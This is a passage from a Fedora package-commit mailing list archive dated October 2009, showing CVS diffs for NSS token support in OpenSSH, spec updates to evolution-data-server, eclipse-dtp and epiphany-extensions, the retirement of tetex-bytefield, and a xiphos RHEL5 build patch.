++		alg = (datafellows & SSH_BUG_RSASIGMD5) ?
++			SEC_OID_PKCS1_MD5_WITH_RSA_ENCRYPTION :
++			SEC_OID_PKCS1_SHA1_WITH_RSA_ENCRYPTION;
++
++		if (SEC_SignData(&sigitem, (u_char *)data, datalen, key->nss->privk,
++			alg) != SECSuccess) {
++			error("ssh_rsa_sign: sign failed");
++			return -1;
++		}
++		if (sigitem.len > slen) {
++			error("ssh_rsa_sign: slen %u slen2 %u", slen, sigitem.len);
++			xfree(sig);
++			SECITEM_ZfreeItem(&sigitem, PR_FALSE);
++			return -1;
++		}
++		if (sigitem.len < slen) {
++			memset(sig, 0, slen - sigitem.len);
++		}
++		memcpy(sig+slen-sigitem.len, sigitem.data, sigitem.len);
++		SECITEM_ZfreeItem(&sigitem, PR_FALSE);
++	} else {
++#endif
+ 	nid = (datafellows & SSH_BUG_RSASIGMD5) ? NID_md5 : NID_sha1;
+ 	if ((evp_md = EVP_get_digestbynid(nid)) == NULL) {
+ 		error("ssh_rsa_sign: EVP_get_digestbynid %d failed", nid);
+@@ -59,9 +95,6 @@ ssh_rsa_sign(const Key *key, u_char **si
+ 	EVP_DigestUpdate(&md, data, datalen);
+ 	EVP_DigestFinal(&md, digest, &dlen);
+ 
+-	slen = RSA_size(key->rsa);
+-	sig = xmalloc(slen);
+-
+ 	ok = RSA_sign(nid, digest, dlen, sig, &len, key->rsa);
+ 	memset(digest, 'd', sizeof(digest));
+ 
+@@ -83,6 +116,9 @@ ssh_rsa_sign(const Key *key, u_char **si
+ 		xfree(sig);
+ 		return -1;
+ 	}
++#ifdef HAVE_LIBNSS
++	}
++#endif
+ 	/* encode signature */
+ 	buffer_init(&b);
+ 	buffer_put_cstring(&b, "ssh-rsa");
+diff -up /dev/null openssh-5.2p1/README.nss
+--- /dev/null	2008-11-17 17:51:52.160001870 +0100
++++ openssh-5.2p1/README.nss	2008-11-18 19:11:41.000000000 +0100
+@@ -0,0 +1,36 @@
++How to use NSS tokens with OpenSSH?
++
++This version of OpenSSH contains experimental support for authentication using
++keys stored in tokens stored in NSS database. This for example includes any
++PKCS#11 tokens which are installed in your NSS database.
++
++As the code is experimental and preliminary only SSH protocol 2 is supported.
++The NSS certificate and token databases are looked for in the ~/.ssh
++directory or in a directory specified by environment variable NSS_DB_PATH.
++
++Common operations:
++
++(1) tell the ssh client to use the NSS keys:
++
++	$ ssh -o 'UseNSS yes' otherhost
++	
++	if you want to use a specific token:
++	
++	$ ssh -o 'UseNSS yes' -o 'NSS Token My PKCS11 Token' otherhost
++
++(2) or tell the agent to use the NSS keys:
++
++	$ ssh-add -n
++	
++	if you want to use a specific token:
++	
++	$ ssh-add -n -T 'My PKCS11 Token'
++
++(3) extract the public key from token so it can be added to the
++server:
++
++	$ ssh-keygen -n
++	
++	if you want to use a specific token and/or key:
++	
++	$ ssh-keygen -n -D 'My PKCS11 Token' 'My Key ID'


Index: openssh.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openssh/F-12/openssh.spec,v
retrieving revision 1.169
retrieving revision 1.170
diff -u -p -r1.169 -r1.170
--- openssh.spec	24 Sep 2009 16:05:26 -0000	1.169
+++ openssh.spec	27 Oct 2009 15:59:35 -0000	1.170
@@ -63,7 +63,7 @@
 Summary: An open source implementation of SSH protocol versions 1 and 2
 Name: openssh
 Version: 5.2p1
-Release: 28%{?dist}%{?rescue_rel}
+Release: 29%{?dist}%{?rescue_rel}
 URL: http://www.openssh.com/portable.html
 #Source0: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz
 #Source1: ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-%{version}.tar.gz.asc
@@ -466,6 +466,9 @@ fi
 %endif
 
 %changelog
+* Tue Oct 27 2009 Jan F. Chadima <jchadima at redhat.com> - 5.2p1-29
+- Resolve locking in ssh-add (#491312)
+
 * Thu Sep 24 2009 Jan F. Chadima <jchadima at redhat.com> - 5.2p1-28
 - Repair initscript to be acord to guidelines (#521860)
 - Add bugzilla# to application of edns and xmodifiers patch



From mbarnes at fedoraproject.org  Tue Oct 27 16:02:53 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Tue, 27 Oct 2009 16:02:53 +0000 (UTC)
Subject: rpms/evolution-data-server/devel .cvsignore, 1.115,
	1.116 evolution-data-server.spec, 1.277, 1.278 sources, 1.115,
	1.116 evolution-data-server-1.10.1-camel-folder-summary-crash.patch, 
	1.2, NONE
Message-ID: <20091027160253.2074C11C00E6@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution-data-server/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16643

Modified Files:
	.cvsignore evolution-data-server.spec sources 
Removed Files:
	evolution-data-server-1.10.1-camel-folder-summary-crash.patch 
Log Message:

* Tue Oct 27 2009 Matthew Barnes <mbarnes at redhat.com> - 2.29.1-1.fc13
- Update to 2.29.1
- Bump eds_base_version to 2.30.
- Add dbus-glib build requirement.
- Drop Bonobo + ORBit dependency (yay!).
- Remove option to use OpenSSL instead of NSS.
- Drop eds_api_version definition since it will never change.
- Remove patch for GNOME bug #373146 (deviates from upstream).



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-data-server/devel/.cvsignore,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- .cvsignore	21 Sep 2009 12:25:16 -0000	1.115
+++ .cvsignore	27 Oct 2009 16:02:52 -0000	1.116
@@ -1 +1 @@
-evolution-data-server-2.28.0.tar.bz2
+evolution-data-server-2.29.1.tar.bz2


Index: evolution-data-server.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-data-server/devel/evolution-data-server.spec,v
retrieving revision 1.277
retrieving revision 1.278
diff -u -p -r1.277 -r1.278
--- evolution-data-server.spec	21 Sep 2009 12:25:16 -0000	1.277
+++ evolution-data-server.spec	27 Oct 2009 16:02:52 -0000	1.278
@@ -1,33 +1,30 @@
-%define use_nss 1
 %define ldap_support 1
 %define static_ldap 1
 %define krb5_support 1
 %define nntp_support 1
 
+%define dbus_glib_version 0.6
 %define glib2_version 2.16.1
 %define gtk2_version 2.14.0
 %define gtk_doc_version 1.9
 %define intltool_version 0.35.5
-%define libbonobo_version 2.20.3
 %define libgweather_version 2.25.4
 %define libical_version 0.43
-%define orbit2_version 2.9.8
 %define soup_version 2.3.0
 %define sqlite_version 3.5
 
-%define eds_base_version 2.28
-%define eds_api_version 1.2
+%define eds_base_version 2.30
 
 %define use_gnome_keyring 1
 %define support_imap4_provider 0
 
-%define camel_provider_dir %{_libdir}/evolution-data-server-%{eds_api_version}/camel-providers
-%define eds_extensions_dir %{_libdir}/evolution-data-server-%{eds_api_version}/extensions
+%define camel_provider_dir %{_libdir}/evolution-data-server-1.2/camel-providers
+%define eds_extensions_dir %{_libdir}/evolution-data-server-1.2/extensions
 
 ### Abstract ###
 
 Name: evolution-data-server
-Version: 2.28.0
+Version: 2.29.1
 Release: 1%{?dist}
 Group: System Environment/Libraries
 Summary: Backend data server for Evolution
@@ -44,18 +41,15 @@ Obsoletes: evolution-webcal < 2.24.0
 # RH bug #215702 / GNOME bug #487988
 Patch10: evolution-data-server-1.8.0-fix-ldap-query.patch
 
-# GNOME bug #373146
-Patch11: evolution-data-server-1.10.1-camel-folder-summary-crash.patch
-
 # RH bug #243296
-Patch12: evolution-data-server-1.11.5-fix-64bit-acinclude.patch
+Patch11: evolution-data-server-1.11.5-fix-64bit-acinclude.patch
 
 ### Build Dependencies ###
 
 BuildRequires: GConf2-devel
-BuildRequires: ORBit2-devel >= %{orbit2_version}
 BuildRequires: bison
 BuildRequires: db4-devel
+BuildRequires: dbus-glib-devel >= %{dbus_glib_version}
 BuildRequires: flex
 BuildRequires: gettext
 BuildRequires: glib2-devel >= %{glib2_version}
@@ -64,7 +58,6 @@ BuildRequires: gnutls-devel
 BuildRequires: gtk-doc >= %{gtk_doc_version}
 BuildRequires: gtk2-devel >= %{gtk2_version}
 BuildRequires: intltool >= %{intltool_version}
-BuildRequires: libbonobo-devel >= %{libbonobo_version}
 BuildRequires: libglade2-devel
 BuildRequires: libgnome-devel
 BuildRequires: libgnomeui-devel
@@ -72,14 +65,9 @@ BuildRequires: libgweather-devel >= %{li
 BuildRequires: libical-devel >= %{libical_version}
 BuildRequires: libsoup-devel >= %{soup_version}
 BuildRequires: libtool
-BuildRequires: sqlite-devel >= %{sqlite_version}
-
-%if %{use_nss}
 BuildRequires: nspr-devel
 BuildRequires: nss-devel
-%else
-BuildRequires: openssl-devel
-%endif
+BuildRequires: sqlite-devel >= %{sqlite_version}
 
 %if %{ldap_support}
 %if %{static_ldap}
@@ -109,7 +97,7 @@ Summary: Development files for building 
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: %{name}-doc = %{version}-%{release}
-Requires: libbonobo-devel
+Requires: dbus-glib-devel
 Requires: libgnome-devel
 Requires: libgweather-devel
 Requires: libical-devel
@@ -131,8 +119,7 @@ This package contains developer document
 %setup -q
 
 %patch10 -p1 -b .fix-ldap-query
-%patch11 -p1 -b .camel-folder-summary-crash
-%patch12 -p1 -b .fix-64bit-acinclude
+%patch11 -p1 -b .fix-64bit-acinclude
 
 mkdir -p krb5-fakeprefix/include
 mkdir -p krb5-fakeprefix/lib
@@ -170,23 +157,17 @@ fi
 %define nntp_flags --enable-nntp=no
 %endif
 
-%if %{use_nss}
 %define ssl_flags --enable-nss=yes --enable-smime=yes
-%else
-%define ssl_flags --enable-openssl=yes
-%endif
 
-%if %{use_nss}
 if ! pkg-config --exists nss; then 
   echo "Unable to find suitable version of nss to use!"
   exit 1
 fi
-%endif
 
 %if %{use_gnome_keyring}
 %define keyring_flags --enable-gnome-keyring
 %else
-%define keyring flags --disable-gnome-keyring
+%define keyring_flags --disable-gnome-keyring
 %endif
 
 %if %{support_imap4_provider}
@@ -197,12 +178,6 @@ fi
 
 export CPPFLAGS="-I%{_includedir}/et"
 export CFLAGS="$RPM_OPT_FLAGS -DLDAP_DEPRECATED -fPIC -I%{_includedir}/et"
-%if ! %{use_nss}
-if pkg-config openssl ; then
-	CFLAGS="$CFLAGS `pkg-config --cflags openssl`"
-	LDFLAGS="$LDFLAGS `pkg-config --libs-only-L openssl`"
-fi
-%endif
 
 # Regenerate configure to pick up configure.in and acinclude.m4 changes.
 aclocal -I m4
@@ -233,8 +208,8 @@ make DESTDIR=$RPM_BUILD_ROOT LIBTOOL=/us
 # remove libtool archives for importers and the like
 find $RPM_BUILD_ROOT/%{_libdir} -name '*.la' -exec rm {} \;
 rm -f $RPM_BUILD_ROOT/%{_libdir}/*.a
-rm -f $RPM_BUILD_ROOT/%{_libdir}/evolution-data-server-%{eds_api_version}/camel-providers/*.a
-rm -f $RPM_BUILD_ROOT/%{_libdir}/evolution-data-server-%{eds_api_version}/extensions/*.a
+rm -f $RPM_BUILD_ROOT/%{_libdir}/evolution-data-server-1.2/camel-providers/*.a
+rm -f $RPM_BUILD_ROOT/%{_libdir}/evolution-data-server-1.2/extensions/*.a
 
 # give the libraries some executable bits 
 find $RPM_BUILD_ROOT -name '*.so.*' -exec chmod +x {} \;
@@ -251,28 +226,30 @@ rm -rf $RPM_BUILD_ROOT
 %files -f %{name}-%{eds_base_version}.lang
 %defattr(-,root,root,-)
 %doc README COPYING ChangeLog NEWS AUTHORS
-%{_libdir}/bonobo/servers/GNOME_Evolution_DataServer_%{eds_api_version}.server
-%{_libdir}/libcamel-%{eds_api_version}.so.*
-%{_libdir}/libcamel-provider-%{eds_api_version}.so.*
-%{_libdir}/libebackend-%{eds_api_version}.so.*
-%{_libdir}/libebook-%{eds_api_version}.so.*
-%{_libdir}/libecal-%{eds_api_version}.so.*
-%{_libdir}/libedata-book-%{eds_api_version}.so.*
-%{_libdir}/libedata-cal-%{eds_api_version}.so.*
-%{_libdir}/libedataserver-%{eds_api_version}.so.*
-%{_libdir}/libedataserverui-%{eds_api_version}.so.*
-%{_libdir}/libegroupwise-%{eds_api_version}.so.*
-%{_libdir}/libexchange-storage-%{eds_api_version}.so.*
-%{_libdir}/libgdata-%{eds_api_version}.so.*
-%{_libdir}/libgdata-google-%{eds_api_version}.so.*
-
-%{_libexecdir}/evolution-data-server-%{eds_base_version}
-%{_libexecdir}/camel-index-control-%{eds_api_version}
-%{_libexecdir}/camel-lock-helper-%{eds_api_version}
+%{_libdir}/libcamel-1.2.so.*
+%{_libdir}/libcamel-provider-1.2.so.*
+%{_libdir}/libebackend-1.2.so.*
+%{_libdir}/libebook-1.2.so.*
+%{_libdir}/libecal-1.2.so.*
+%{_libdir}/libedata-book-1.2.so.*
+%{_libdir}/libedata-cal-1.2.so.*
+%{_libdir}/libedataserver-1.2.so.*
+%{_libdir}/libedataserverui-1.2.so.*
+%{_libdir}/libegroupwise-1.2.so.*
+%{_libdir}/libgdata-1.2.so.*
+%{_libdir}/libgdata-google-1.2.so.*
+
+%{_libexecdir}/camel-index-control-1.2
+%{_libexecdir}/camel-lock-helper-1.2
+%{_libexecdir}/e-addressbook-factory
+%{_libexecdir}/e-calendar-factory
+
 %{_datadir}/evolution-data-server-%{eds_base_version}
-%{_datadir}/idl/evolution-data-server-%{eds_api_version}
+%{_datadir}/dbus-1/services/org.gnome.evolution.dataserver.AddressBook.service
+%{_datadir}/dbus-1/services/org.gnome.evolution.dataserver.Calendar.service
 %{_datadir}/pixmaps/evolution-data-server
-%dir %{_libdir}/evolution-data-server-%{eds_api_version}
+
+%dir %{_libdir}/evolution-data-server-1.2
 %dir %{camel_provider_dir}
 %dir %{eds_extensions_dir}
 
@@ -321,33 +298,31 @@ rm -rf $RPM_BUILD_ROOT
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/evolution-data-server-%{eds_base_version}
-%{_libdir}/libcamel-%{eds_api_version}.so
-%{_libdir}/libcamel-provider-%{eds_api_version}.so
-%{_libdir}/libebackend-%{eds_api_version}.so
-%{_libdir}/libebook-%{eds_api_version}.so
-%{_libdir}/libecal-%{eds_api_version}.so
-%{_libdir}/libedata-book-%{eds_api_version}.so
-%{_libdir}/libedata-cal-%{eds_api_version}.so
-%{_libdir}/libedataserver-%{eds_api_version}.so
-%{_libdir}/libedataserverui-%{eds_api_version}.so
-%{_libdir}/libegroupwise-%{eds_api_version}.so
-%{_libdir}/libexchange-storage-%{eds_api_version}.so
-%{_libdir}/libgdata-%{eds_api_version}.so
-%{_libdir}/libgdata-google-%{eds_api_version}.so
-%{_libdir}/pkgconfig/camel-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/camel-provider-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/evolution-data-server-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libebackend-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libebook-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libecal-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libedata-book-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libedata-cal-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libedataserver-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libedataserverui-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libegroupwise-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libexchange-storage-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libgdata-%{eds_api_version}.pc
-%{_libdir}/pkgconfig/libgdata-google-%{eds_api_version}.pc
+%{_libdir}/libcamel-1.2.so
+%{_libdir}/libcamel-provider-1.2.so
+%{_libdir}/libebackend-1.2.so
+%{_libdir}/libebook-1.2.so
+%{_libdir}/libecal-1.2.so
+%{_libdir}/libedata-book-1.2.so
+%{_libdir}/libedata-cal-1.2.so
+%{_libdir}/libedataserver-1.2.so
+%{_libdir}/libedataserverui-1.2.so
+%{_libdir}/libegroupwise-1.2.so
+%{_libdir}/libgdata-1.2.so
+%{_libdir}/libgdata-google-1.2.so
+%{_libdir}/pkgconfig/camel-1.2.pc
+%{_libdir}/pkgconfig/camel-provider-1.2.pc
+%{_libdir}/pkgconfig/evolution-data-server-1.2.pc
+%{_libdir}/pkgconfig/libebackend-1.2.pc
+%{_libdir}/pkgconfig/libebook-1.2.pc
+%{_libdir}/pkgconfig/libecal-1.2.pc
+%{_libdir}/pkgconfig/libedata-book-1.2.pc
+%{_libdir}/pkgconfig/libedata-cal-1.2.pc
+%{_libdir}/pkgconfig/libedataserver-1.2.pc
+%{_libdir}/pkgconfig/libedataserverui-1.2.pc
+%{_libdir}/pkgconfig/libegroupwise-1.2.pc
+%{_libdir}/pkgconfig/libgdata-1.2.pc
+%{_libdir}/pkgconfig/libgdata-google-1.2.pc
 
 %files doc
 %defattr(-,root,root,-)
@@ -361,6 +336,15 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/libedataserverui
 
 %changelog
+* Tue Oct 27 2009 Matthew Barnes <mbarnes at redhat.com> - 2.29.1-1.fc13
+- Update to 2.29.1
+- Bump eds_base_version to 2.30.
+- Add dbus-glib build requirement.
+- Drop Bonobo + ORBit dependency (yay!).
+- Remove option to use OpenSSL instead of NSS.
+- Drop eds_api_version definition since it will never change.
+- Remove patch for GNOME bug #373146 (deviates from upstream).
+
 * Mon Sep 21 2009 Milan Crha <mcrha at redhat.com> - 2.28.0-1.fc12
 - Update to 2.28.0
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution-data-server/devel/sources,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- sources	21 Sep 2009 12:25:16 -0000	1.115
+++ sources	27 Oct 2009 16:02:52 -0000	1.116
@@ -1 +1 @@
-015a9692904c349034982c69d90b1b37  evolution-data-server-2.28.0.tar.bz2
+e75903b1c938796ad7f54524492fa0d2  evolution-data-server-2.29.1.tar.bz2


--- evolution-data-server-1.10.1-camel-folder-summary-crash.patch DELETED ---



From akurtakov at fedoraproject.org  Tue Oct 27 16:03:15 2009
From: akurtakov at fedoraproject.org (Alexander Kurtakov)
Date: Tue, 27 Oct 2009 16:03:15 +0000 (UTC)
Subject: rpms/eclipse-dtp/devel eclipse-dtp.spec, 1.10, 1.11 get-dtp.sh, 1.4,
	1.5 sources, 1.5, 1.6 .cvsignore, 1.5, 1.6
Message-ID: <20091027160315.46C9311C00E6@cvs1.fedora.phx.redhat.com>

Author: akurtakov

Update of /cvs/pkgs/rpms/eclipse-dtp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16974/devel

Modified Files:
	eclipse-dtp.spec get-dtp.sh sources .cvsignore 
Log Message:
Update to 1.7.1.


Index: eclipse-dtp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-dtp/devel/eclipse-dtp.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- eclipse-dtp.spec	19 Sep 2009 16:20:16 -0000	1.10
+++ eclipse-dtp.spec	27 Oct 2009 16:03:14 -0000	1.11
@@ -2,8 +2,8 @@
 %global eclipse_dropin   %{_datadir}/eclipse/dropins
 
 Name:      eclipse-dtp
-Version:   1.7.0
-Release:   5%{?dist}
+Version:   1.7.1
+Release:   1%{?dist}
 Summary:   Eclipse Data Tools Platform
 Group:     System Environment/Libraries
 License:   EPL
@@ -85,7 +85,7 @@ popd
 
 %build
 # Note: Use date from the cvs tag as the context qualifier.
-OPTIONS="-DjavacTarget=1.5 -DjavacSource=1.5 -DforceContextQualifier=v200906151043"
+OPTIONS="-DjavacTarget=1.5 -DjavacSource=1.5 -DforceContextQualifier=v200908280401"
 
 # build all features except for documentation and SDK features TODO: build everything
 %{eclipse_base}/buildscripts/pdebuild -f org.eclipse.datatools.modelbase.feature \
@@ -135,6 +135,9 @@ rm -rf %{buildroot}
 %doc org.eclipse.datatools.sdk-all.feature/rootfiles/*
 
 %changelog
+* Tue Oct 27 2009 Alexander Kurtakov <akurtako at redhat.com> 1.7.1-1
+- Update to 1.7.1.
+
 * Sat Sep 19 2009 Mat Booth <fedora at matbooth.co.uk> - 1.7.0-5
 - Re-enable jar repacking now that RHBZ #461854 has been resolved.
 


Index: get-dtp.sh
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-dtp/devel/get-dtp.sh,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- get-dtp.sh	2 Jul 2009 20:00:40 -0000	1.4
+++ get-dtp.sh	27 Oct 2009 16:03:15 -0000	1.5
@@ -1,7 +1,7 @@
 #!/bin/bash
 NAME="dtp"
-VERSION=1.7.0
-TAG="DTP_1_7_0_Release_200906111239"
+VERSION=1.7.1
+TAG="DTP_1_7_1_Release_200909040500"
 MAPFILES='
 org.eclipse.datatools.releng/maps/dtp-features.map
 org.eclipse.datatools.modelbase/releng/org.eclipse.datatools.modelbase.releng/maps/modelbase-plugins.map


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-dtp/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	2 Jul 2009 20:00:40 -0000	1.5
+++ sources	27 Oct 2009 16:03:15 -0000	1.6
@@ -1 +1 @@
-987f947ea316163930307013ca62ba0c  dtp-1.7.0.tar.gz
+145978fbe0d4ed13571367e320111182  dtp-1.7.1.tar.gz


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/eclipse-dtp/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	2 Jul 2009 20:00:40 -0000	1.5
+++ .cvsignore	27 Oct 2009 16:03:15 -0000	1.6
@@ -1 +1,2 @@
 dtp-1.7.0.tar.gz
+dtp-1.7.1.tar.gz



From spot at fedoraproject.org  Tue Oct 27 16:07:22 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Tue, 27 Oct 2009 16:07:22 +0000 (UTC)
Subject: rpms/tetex-bytefield/devel dead.package, NONE, 1.1 sources, 1.4,
	NONE tetex-bytefield.spec, 1.9, NONE
Message-ID: <20091027160722.E90B911C00E6@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/tetex-bytefield/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18140

Added Files:
	dead.package 
Removed Files:
	sources tetex-bytefield.spec 
Log Message:
dead.package


--- NEW FILE dead.package ---
tetex-bytefield contained one file: bytefield.sty. texlive-texmf-latex now provides this file.

Tom "spot" Callaway, Oct 27, 2009


--- sources DELETED ---


--- tetex-bytefield.spec DELETED ---



From pkgdb at fedoraproject.org  Tue Oct 27 16:08:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 16:08:43 +0000
Subject: [pkgdb] tetex-bytefield ownership updated
Message-ID: <20091027160843.D60BD10F880@bastion2.fedora.phx.redhat.com>

Package tetex-bytefield in Fedora devel was orphaned by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-bytefield



From pkgdb at fedoraproject.org  Tue Oct 27 16:08:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 16:08:43 +0000
Subject: [pkgdb] tetex-bytefield (un)retirement
Message-ID: <20091027160844.001DD10F895@bastion2.fedora.phx.redhat.com>

Package tetex-bytefield in Fedora devel has been retired by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-bytefield



From pkgdb at fedoraproject.org  Tue Oct 27 16:08:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 16:08:52 +0000
Subject: [pkgdb] tetex-bytefield ownership updated
Message-ID: <20091027160852.844F410F87E@bastion2.fedora.phx.redhat.com>

Package tetex-bytefield in Fedora 12 was orphaned by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-bytefield



From pkgdb at fedoraproject.org  Tue Oct 27 16:08:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 16:08:52 +0000
Subject: [pkgdb] tetex-bytefield (un)retirement
Message-ID: <20091027160852.9E0CA10F87F@bastion2.fedora.phx.redhat.com>

Package tetex-bytefield in Fedora 12 has been retired by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-bytefield



From xhorak at fedoraproject.org  Tue Oct 27 16:17:46 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 16:17:46 +0000 (UTC)
Subject: rpms/epiphany-extensions/F-10 epiphany-extensions.spec,1.64,1.65
Message-ID: <20091027161746.8885211C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/epiphany-extensions/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19802

Modified Files:
	epiphany-extensions.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.24.3-6
- Rebuild against newer gecko



Index: epiphany-extensions.spec
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany-extensions/F-10/epiphany-extensions.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- epiphany-extensions.spec	9 Sep 2009 19:12:45 -0000	1.64
+++ epiphany-extensions.spec	27 Oct 2009 16:17:46 -0000	1.65
@@ -1,10 +1,10 @@
 %global ephy_major          2.24
 %global ephy_min_version    %{ephy_major}.0
-%global gecko_version       1.9.0.14
+%global gecko_version       1.9.0.15
 
 Name:           epiphany-extensions
 Version:        %{ephy_major}.3
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        Extensions for Epiphany, the GNOME web browser
 
 ## The Live HTTP Headers extension is LGPLv2.1+; the Gestures extension is
@@ -113,6 +113,9 @@ scrollkeeper-update -q ||:
 %{_sysconfdir}/gconf/schemas/epilicious.schemas
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.24.3-6
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.24.3-5
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 16:21:34 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 16:21:34 +0000 (UTC)
Subject: rpms/epiphany-extensions/F-11 epiphany-extensions.spec,1.64,1.65
Message-ID: <20091027162134.E17A711C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/epiphany-extensions/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21353

Modified Files:
	epiphany-extensions.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.1-7
- Rebuild against newer gecko



Index: epiphany-extensions.spec
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany-extensions/F-11/epiphany-extensions.spec,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- epiphany-extensions.spec	9 Sep 2009 19:15:10 -0000	1.64
+++ epiphany-extensions.spec	27 Oct 2009 16:21:34 -0000	1.65
@@ -1,11 +1,11 @@
 %global ephy_major          2.26
 %global ephy_api_version    2.26
 %global ephy_min_version    %{ephy_major}.0
-%global gecko_version       1.9.1.3
+%global gecko_version       1.9.1.4
 
 Name:           epiphany-extensions
 Version:        %{ephy_major}.1
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        Extensions for Epiphany, the GNOME web browser
 
 ## The Live HTTP Headers extension is LGPLv2.1+; the Gestures extension is
@@ -112,6 +112,9 @@ scrollkeeper-update -q ||:
 %{_sysconfdir}/gconf/schemas/epilicious.schemas
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.1-7
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.26.1-6
 - Rebuild against newer gecko
 



From deji at fedoraproject.org  Tue Oct 27 16:32:18 2009
From: deji at fedoraproject.org (Deji Akingunola)
Date: Tue, 27 Oct 2009 16:32:18 +0000 (UTC)
Subject: rpms/xiphos/EL-5 xiphos-rhel5-build.patch, NONE, 1.1 .cvsignore, 1.3,
	1.4 sources, 1.3, 1.4 xiphos.spec, 1.3, 1.4
Message-ID: <20091027163218.5BE8611C00E6@cvs1.fedora.phx.redhat.com>

Author: deji

Update of /cvs/pkgs/rpms/xiphos/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24409

Modified Files:
	.cvsignore sources xiphos.spec 
Added Files:
	xiphos-rhel5-build.patch 
Log Message:
* Tue Oct 27 2009 Deji Akingunola <dakingun at gmail.com> - 3.1.1-1
- Build for EPEL5


xiphos-rhel5-build.patch:
 configure.in |    4 ++++
 1 file changed, 4 insertions(+)

--- NEW FILE xiphos-rhel5-build.patch ---
--- configure.in	2009-08-09 18:52:34.000000000 -0400
+++ configure.in.new	2009-10-05 10:02:15.893115270 -0400
@@ -260,6 +260,10 @@
 AM_CONDITIONAL([HAVE_XULRUNNER],[test "$gecko_cv_gecko" = "xulrunner"])
 AM_CONDITIONAL([WITH_XULRUNNER_ENGINE],[test "$with_engine" = "xulrunner"])
 
+  dnl Quick hack to enable build on RHEL5
+NSPR_INC="`$PKG_CONFIG --cflags nspr`"
+GECKO_COMPONENT_CFLAGS="$GECKO_COMPONENT_CFLAGS $NSPR_INC"
+
 AC_ARG_ENABLE(debug,[  --enable-debug          build debug library [default=no]],debug=$enableval,debug=no)
 if test "x$GXX" = xyes; then
 	CXXFLAGS="$CXXFLAGS -ftemplate-depth-25"


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xiphos/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
